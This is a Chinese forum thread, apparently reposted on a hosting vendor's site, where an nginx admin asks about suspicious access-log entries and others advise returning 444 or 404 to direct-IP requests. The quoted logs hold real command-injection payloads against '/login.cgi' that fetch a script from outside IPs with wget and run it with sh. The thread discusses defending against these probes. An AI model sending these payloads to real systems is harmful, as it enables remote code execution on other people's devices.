技术解析

nginx 安全问题
0
2021-05-19 21:50:04
idczone

翻看 access.log 时发现有 2 条记录疑似 web 攻击

日志的格式是这样的: '$remote_addr | $remot国外服务器e_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

我从日志也看不出是通过哪个 host 访问的

请问这个 400 状态会有安全问题吗?

能否把这种请求返回 444 状态码?


扫描而已,不用太紧张

不要慌,问题不大

实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~

如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。
这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。

对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。

非合法链接直接跳个统一 404

ip 访问 return444 就行了

如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大

ip 访问,返回 444
```
server {
listen 80 default_server;
server_name _;
return 301 https://$host$request_uri;
}
server {
listen 443 default_server ssl http2;
server_name _;
include ssl/ssl.conf;
location / {
return 444;
}
access_log off;
}
```







谢谢各位的回答
自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?

返回 444 干吊,直接扔 404 默认不行么?

有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。

不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
[24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
[24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
[24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"

这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

数据地带为您的网站提供全球顶级IDC资源
在线咨询
专属客服